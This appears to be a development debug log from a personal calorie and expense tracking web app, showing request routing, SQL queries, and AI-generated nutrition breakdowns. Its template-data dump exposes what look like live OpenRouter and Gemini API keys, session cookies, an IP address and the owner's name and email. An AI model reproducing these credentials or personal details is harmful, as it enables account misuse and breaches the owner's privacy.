    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '2115',
    surplus_or_deficit: '285',
    status_flag: 1
  },
  {
    intake_date: 2025-12-19T18:30:00.000Z,
    total_consumed: '1575',
    surplus_or_deficit: '825',
    status_flag: 2
  },
  {
    intake_date: 2025-12-20T18:30:00.000Z,
    total_consumed: '972',
    surplus_or_deficit: '1428',
    status_flag: 2
  }
]
2025-12-22T03:43:07.165Z server-connect:app Executing action step identify
2025-12-22T03:43:07.166Z server-connect:app options: { provider: 'security' }
2025-12-22T03:43:07.166Z server-connect:output identity: 1
2025-12-22T03:43:52.180Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-22T03:43:52.180Z server-connect:app Executing action step identify
2025-12-22T03:43:52.180Z server-connect:app options: { provider: 'security' }
2025-12-22T03:43:52.180Z server-connect:output identity: 1
2025-12-22T03:43:52.180Z server-connect:app Executing action step restrict
2025-12-22T03:43:52.181Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T03:43:52.181Z server-connect:output restrict: undefined
2025-12-22T03:43:52.181Z server-connect:app Executing action step processWithGemini
2025-12-22T03:43:52.181Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-22T03:43:56.103Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Banana',
      quantity: '1 medium',
      calories_consumed: 105,
      total_calories: 105,
      protein: 1.3,
      carbs: 27,
      fat: 0.4,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Good source of quick energy and potassium for pre-workout.'
    },
    {
      food_name: 'Pre-workout',
      quantity: '1 scoop',
      calories_consumed: 10,
      total_calories: 10,
      protein: 0,
      carbs: 2,
      fat: 0,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Designed to boost energy and performance for workouts. Calories are usually minimal.'
    },
    {
      food_name: 'Whey Protein',
      quantity: '1 scoop (27g protein)',
      calories_consumed: 120,
      total_calories: 120,
      protein: 27,
      carbs: 3,
      fat: 1.5,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Excellent for muscle development and recovery, especially post-workout.'
    },
    {
      food_name: 'Wheat Semolina Pasta (homemade)',
      quantity: '1 serving (approx 100g cooked)',
      calories_consumed: 150,
      total_calories: 150,
      protein: 5,
      carbs: 30,
      fat: 1,
      lower_calorie_alternatives: [Array],
      skip_level: 2,
      skip_reason: 'Provides carbohydrates for energy, but refined semolina can be replaced with whole wheat for more fiber and sustained energy. For muscle development, carbs are important, but quality matters.'
    },
    {
      food_name: 'Matar (Green Peas)',
      quantity: 'Mixed with pasta (approx 50g)',
      calories_consumed: 40,
      total_calories: 40,
      protein: 2.5,
      carbs: 7,
      fat: 0.2,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Good source of fiber, vitamins, and some plant-based protein. Excellent addition to a meal.'
    }
  ],
  total_macros: {
    total_calories: 425,
    total_protein: 35.8,
    total_carbs: 69,
    total_fat: 3.1,
    unit: { protein: 'g', carbs: 'g', fat: 'g' }
  }
}
2025-12-22T03:44:00.948Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-22T03:44:00.948Z server-connect:app Executing action step identify
2025-12-22T03:44:00.948Z server-connect:app options: { provider: 'security' }
2025-12-22T03:44:00.948Z server-connect:output identity: 1
2025-12-22T03:44:00.948Z server-connect:app Executing action step restrict
2025-12-22T03:44:00.948Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T03:44:00.949Z server-connect:output restrict: undefined
2025-12-22T03:44:00.950Z server-connect:app Executing action step condition
2025-12-22T03:44:00.950Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-22T03:44:00.950Z server-connect:app Executing action step repeat
2025-12-22T03:44:00.950Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-22T03:44:00.950Z server-connect:app Executing action step insert
2025-12-22T03:44:00.950Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-22T03:44:00.951Z server-connect:output calories: { affected: 1, identity: 478 }
2025-12-22T03:44:00.951Z server-connect:app Executing action step insert
2025-12-22T03:44:00.951Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-22T03:44:00.952Z server-connect:output calories: { affected: 1, identity: 479 }
2025-12-22T03:44:00.952Z server-connect:app Executing action step insert
2025-12-22T03:44:00.952Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-22T03:44:00.953Z server-connect:output calories: { affected: 1, identity: 480 }
2025-12-22T03:44:00.953Z server-connect:app Executing action step insert
2025-12-22T03:44:00.953Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-22T03:44:00.954Z server-connect:output calories: { affected: 1, identity: 481 }
2025-12-22T03:44:00.954Z server-connect:app Executing action step insert
2025-12-22T03:44:00.954Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-22T03:44:00.955Z server-connect:output calories: { affected: 1, identity: 482 }
2025-12-22T03:44:00.955Z server-connect:output repeat: [ {}, {}, {}, {}, {} ]
2025-12-22T03:44:00.955Z server-connect:output condition: undefined
2025-12-22T03:44:01.159Z server-connect:router Serving templateView /calorie-tracker
2025-12-22T03:44:01.159Z server-connect:app Executing action step identify
2025-12-22T03:44:01.159Z server-connect:app options: { provider: 'security' }
2025-12-22T03:44:01.159Z server-connect:output identity: 1
2025-12-22T03:44:01.159Z server-connect:app Executing action step restrict
2025-12-22T03:44:01.159Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-22T03:44:01.160Z server-connect:output restrict: undefined
2025-12-22T03:44:01.160Z server-connect:router Render template layouts/main
2025-12-22T03:44:01.160Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A4EQ6kg0pjZbMMIeeMiKlvw%3D%3D.i7dYpm%2BV5s5u7jPwLdZgGqvfrrGGQz%2FcrX3EBRp1jCwIbDG9OrKIqgCKJJEeYWxFxmUeY%2BHoow1z48iBDZbQevi8p9zCU%2F12DOYRNvsopahwTRFg9euQ1%2FfUWQiXUgQk%2Bc2qcEe2TV39npYHeRKOJ85nFLAGBnY6EcL9MqKBhwA%3D.w5IiFny35pgWai%2FSIb89X%2B6BNfPbKyHc1V4QLedGWws; your_r_git.sid=s%3AlEBwdcRmk2INjiTvNojIo9YaDtXx_pgj.FK7mrBfKMiz0WjoL3It0w8%2FRGJFLM1IbN%2B2nb17GVCY',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-23T03:42:10.843Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A4EQ6kg0pjZbMMIeeMiKlvw%3D%3D.i7dYpm%2BV5s5u7jPwLdZgGqvfrrGGQz%2FcrX3EBRp1jCwIbDG9OrKIqgCKJJEeYWxFxmUeY%2BHoow1z48iBDZbQevi8p9zCU%2F12DOYRNvsopahwTRFg9euQ1%2FfUWQiXUgQk%2Bc2qcEe2TV39npYHeRKOJ85nFLAGBnY6EcL9MqKBhwA%3D.w5IiFny35pgWai%2FSIb89X%2B6BNfPbKyHc1V4QLedGWws; your_r_git.sid=s%3AlEBwdcRmk2INjiTvNojIo9YaDtXx_pgj.FK7mrBfKMiz0WjoL3It0w8%2FRGJFLM1IbN%2B2nb17GVCY',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-22T03:44:01.361Z server-connect:app Executing action step identify
2025-12-22T03:44:01.361Z server-connect:app options: { provider: 'security' }
2025-12-22T03:44:01.361Z server-connect:output identity: 1
2025-12-22T03:44:01.813Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-22T03:44:01.814Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-22T03:44:01.815Z server-connect:app Executing action step identify
2025-12-22T03:44:01.815Z server-connect:app options: { provider: 'security' }
2025-12-22T03:44:01.815Z server-connect:output identity: 1
2025-12-22T03:44:01.815Z server-connect:app Executing action step restrict
2025-12-22T03:44:01.815Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T03:44:01.816Z server-connect:app Executing action step identify
2025-12-22T03:44:01.816Z server-connect:app options: { provider: 'security' }
2025-12-22T03:44:01.816Z server-connect:output identity: 1
2025-12-22T03:44:01.816Z server-connect:app Executing action step restrict
2025-12-22T03:44:01.816Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T03:44:01.819Z server-connect:output restrict: undefined
2025-12-22T03:44:01.820Z server-connect:app Executing action step select
2025-12-22T03:44:01.820Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-22T03:44:01.820Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-22T03:44:01.820Z server-connect:output restrict: undefined
2025-12-22T03:44:01.821Z server-connect:app Executing action step single
2025-12-22T03:44:01.821Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-22T03:44:01.821Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-22T03:44:01.822Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-22T03:44:01.824Z server-connect:app Executing action step identify
2025-12-22T03:44:01.824Z server-connect:app options: { provider: 'security' }
2025-12-22T03:44:01.824Z server-connect:output identity: 1
2025-12-22T03:44:01.824Z server-connect:app Executing action step restrict
2025-12-22T03:44:01.824Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T03:44:01.825Z server-connect:app Executing action step identify
2025-12-22T03:44:01.825Z server-connect:app options: { provider: 'security' }
2025-12-22T03:44:01.825Z server-connect:output identity: 1
2025-12-22T03:44:01.825Z server-connect:app Executing action step restrict
2025-12-22T03:44:01.825Z server-connect:app options: { provider: 'security' }
2025-12-22T03:44:01.825Z server-connect:output restrict: undefined
2025-12-22T03:44:01.825Z server-connect:app Executing action step single
2025-12-22T03:44:01.825Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-22T03:44:01.827Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-22T03:44:01.828Z server-connect:output restrict: undefined
2025-12-22T03:44:01.828Z server-connect:app Executing action step single
2025-12-22T03:44:01.828Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-22T03:44:01.829Z server-connect:output summary: undefined
2025-12-22T03:44:01.830Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-22T03:44:01.831Z server-connect:app Executing action step select
2025-12-22T03:44:01.831Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
